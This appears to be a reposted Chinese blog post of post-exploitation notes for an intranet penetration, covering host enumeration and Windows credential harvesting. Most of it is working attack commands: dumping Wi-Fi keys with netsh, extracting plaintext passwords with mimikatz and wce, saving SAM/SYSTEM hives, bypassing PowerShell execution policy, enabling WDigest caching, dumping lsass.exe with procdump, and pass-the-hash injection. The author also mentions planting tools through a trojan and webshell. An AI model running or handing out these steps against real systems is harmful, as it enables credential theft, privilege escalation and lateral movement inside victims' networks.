渗透工作-内网扩展之目标机本机收集(命令、工具及脚本)

后渗透攻防:
https://www.secpulse.com/archives/51527.html
https://3gstudent.github.io/

目录
一、内网信息收集
1.内网基础信息:
2.内网核心业务信息:
3.其他信息
二、内网实战(命令、工具及脚本)
1.用户列表、当前权限等
2.内网网络拓扑等信息
3.进程列表
4.端口信息
5.补丁信息
6.本地用户习惯
7.凭证收集
8.系统哈希或明文密码获取
9.星号查看
三、内网权限拓展(常见应用漏洞):

一、内网信息收集
1.内网基础信息:

(1)内网网段信息:网段信息有助于我们对渗透的内网进行拓扑、分区。以拿下边界服务器为例,得到一定的控制权之后,一定要查看网卡信息,这样就收集到内部网络地址段的信息,进一步渗透,找到更多的内部网络地址。
(2)内网大小:有助于我们了解整个公司的网络分布与组成,帮助我们寻找内网核心业务。
2.内网核心业务信息:
内网OA办公系统(大公司)、邮件服务器(大公司才有)、网络监控系统(一般都有)、财务应用系统、核心产品源码(对于IT公司,会架设自己的svn或者git服务器)
3.其他信息
系统管理员密码。
其他用户session,3389和ipc$连接记录,各用户回收站信息。
浏览器密码和浏览器cookie获取。
windows无线密码获取(利用netsh),数据库密码获取。
host文件获取和dns缓存信息收集等,可以查看DNS服务器的IP,如果是域,一般情况DNS服务器和域控是同一台!先定位出DNS服务器,再进行后面渗透。
杀软、补丁、进程、网络代理信息wpad信息(Web Proxy Auto-Discovery Protocol,是客户端通过DHCP或DNS协议探测代理服务器配置脚本url的一种方式),软件列表信息。
计划任务、帐号密码策略与锁定策略、共享文件夹、web服务器配置文件。
VPN历史密码等、TeamView密码等、启动项、iislog等。
常用的后渗透信息收集工具、PowerShell+各种内网渗透工具的使用。
二、内网实战(命令、工具及脚本)
1.用户列表、当前权限等

win:whoami、net user、net user 用户名、 net accounts
linux:whoami、id、who、cat /etc/passwd、cat /etc/group
2.内网网络拓扑等信息
以下两条命令可以查看无线网密码
netsh wlan show profiles
netsh wlan show profile name=“网络链接配置文件” key=clear
在这里插入图片描述
在这里插入图片描述
除此,常用的有ipconfig、nslookup等等
3.进程列表
win:tasklist linux: ps、 top
4.端口信息
win: netstat -ano linux: netstat -ntulp 、ps -aux
5.补丁信息
win系统:systeminfo
wmic qfe list full
wmic qfe list full /format:htable>c:\hotfixes.html
第三条命令导出html到指定位置,浏览器打开效果如下
在这里插入图片描述
linux:看一下是否有samba服务,或者使用rpm -qa来查询安装了哪些软件包,有一些可以通过名字来判断出是补丁包。
6.本地用户习惯
c:\windows\SchedLgU.txt,如果未启动remote Storage Engine服务(win7和server03上都没找到此服务)和Task Scheduler服务,则不会记录。
c:\windows\Prefetch文件夹,里面记录着用户运行的程序列表。(已验证)
c:\Users\用户名\Recent文件夹,记录最近打开过的文件和文件夹(xp及server03是在c:\Documents and Settings\用户名\Recent)
查看收藏夹、文档目录等。
7.凭证收集
常用工具mimikatz、wce、Invoke-WCMDump、vaultcmd(win系统自带)
CredentialManager,中文翻译为凭据管理器,用来存储凭据(如网站登陆和主机远程连接的用户名密码),如果用户选择存储凭据,那么当用户再进行对应的操作,系统会自动填入凭据,实现自动登陆,凭据保存在特定的位置,被称作保管库(vault,位于%localappdata%/Microsoft\Vault)
Invoke-WCMDum PowerShell脚本,从凭据管理器导出Windows凭据
下载https://github.com/peewpw/Invoke-WCMDump
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
参考:http://www.4hou.com/technology/9397.html
在这里插入图片描述
vaultcmd命令(win系统自带),导出的不是明文密码,本人不会利用
列出保管库(vault)列表:vaultcmd /list
列出保管库(vault)概要,凭据名称和GUID:vaultcmd /listschema
在这里插入图片描述
其他命令:cmdkey /list
8.系统哈希或明文密码获取
详细理论参考6月25日笔记,最方便的方法是利用cmd执行reg save命令从注册表导出。
XP等系统的密码位数超过14时,会采用NTLM加密,小于14位是LM。win7等更高版本,应该是NTLM。
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
注意被冒号隔断的两组长字符串,前面是LM hash,后面是NTLM hash,hash一般存在两个地方:sam文件(system文件也需要),NTDS.DIT文件,存在域控上对应域用户。
(1)mimikatz获取明文(一般会报毒)
要以管理员身份运行,一般用在桌面环境。如果是终端条件,使用能以系统管理员身份运行的程序去调用mimikatz,执行以下两条命令就OK.
privilege::debug
sekurlsa::logonpasswords
(2)注册表导出,本地分析(较安全准确)
win2000和XP需要先提权到system权限,server03开始,可以直接reg save,文件可能较大,效率低,但比较准确可靠。
reg save hklm\sam sam.hive(也可省略.hive,但二者有何区别暂不清楚)
reg save hklm\system system.hive
reg save hklm\security security.hive(这个文件什么用途暂不清楚)
(3)Get-PassHashes脚本
cd c:\phpstudy\www (在终端先切换到ps1脚本目录)
powershell -ExecutionPolicy Bypass(设置会话默认执行策略,并进入PS)
import-module .\Get-PassHashes.ps1 (导入模块)
Get-PassHashes(大小写不敏感)
在这里插入图片描述

(4)wce读取明文,哈希注入
抓取明文(wce.exe -w,wce支持win系统绝大多数版本)
很快就能显示,但密码位数过长时,偶尔可能不准确,如下面第一张图,显示的密码中间少了两位,第二张图长度更长了,但显示的密码却是正确的
win8和server2012如果抓不出,在目标机修改注册表(CMD运行下命令)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
在这里插入图片描述
在这里插入图片描述
获取明文并保存
wce -o output.txt
type output.tx
wce的hash注入 https://blog.csdn.net/yiyefangzhou24/article/details/28631223
hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进程lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。至于目标机器的本地或者是域用户hash如何取得那就要发挥你自己的想象力了。hash注入本身是为了对付那些破解不了的NTHASH
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c cmd.exe
配合上面提到的Get-PassHashes脚本,本地进行hash注入后,成功列出了目标机的文件。两个主机互测,一次成功了,但测试前没有尝试第二张图,不知是否是hash注入影响。攻守互换后,不成功。
在这里插入图片描述
在这里插入图片描述
当提示注入成功的时候,这时候键入net use命令并没有看到有连接,其实已经可以连接了,直接使用ipc命令操作对方的机器就可以了。
域里的域用户hash也可以使用wce进行注入,只需要把命令格式变一变就行 wce.exe -s 用户名:域名:LM-HASH:NT-HASH
(5)procdump(微软出品)+本地用mimikatz得明文,较安全
参考:http://www.91ri.org/6881.html
原帖英文 :http://blog.gentilkiwi.com/securite/mimikatz/minidump
mimikatz1.0版本直接用不行(需要先注入sekurlsa.dll),2.1.1 x64版本试验OK,另外路径中最好不要出现中文,且需要以管理员权限运行。
我们运行mimikatz的平台要与进行dump的系统(source dump)兼容,假如你攻击的server2008,你需要用nt6平台使用mimikatz,兼容性如下:
在这里插入图片描述
1)获取dump
NT6可以使用任务管理器进行dump:
个人觉得用到情况较少,一般有桌面环境,可以考虑直接运行mimikatz
在这里插入图片描述
也可使用procdump(win7亲测可用):
官网下载http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
procdump.exe -accepteula -ma lsass.exe lsass.dmp
原帖中是通过ipc$入侵得到的dump文件,我是通过木马,使用菜刀连接上传procdump,靶机这边我用的是管理员权限,之所以这样做,是考虑到实战中,如果是低权限用户,也不会费劲的去破解对方密码吧。
2)本地破解密码
攻击者是win7,使用mimikatz的环境也要用NT6,把dmp文件放在mimikatz程序目录下。
进入目录后,直接输入mimikatz并回车,注意权限,再运行下面两个命令。成功得到系统密码,我这里还用了syskey加密,仍然得到了明文。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
在这里插入图片描述
9.星号查看
通过hook函数或者改变变量属性值来查看明文。
通过改js代码,或使用浏览器插件可显示网页中星号的明文,但实战个人猜测用处不大,https://jingyan.baidu.com/article/fea4511a0f875df7bb91258f.html
三、内网权限拓展(常见应用漏洞):
strust2、Zabbix、Axis2、ImageMagick、FastCGI、redis、Hadoop
struts攻击参考:
https://www.anquanke.com/post/id/85674
https://www.cnblogs.com/peterpan0707007/p/7495649.html
https://www.anquanke.com/post/id/85744

猜你喜欢

转载自blog.csdn.net/nilwiaoglwigjwlg/article/details/82834068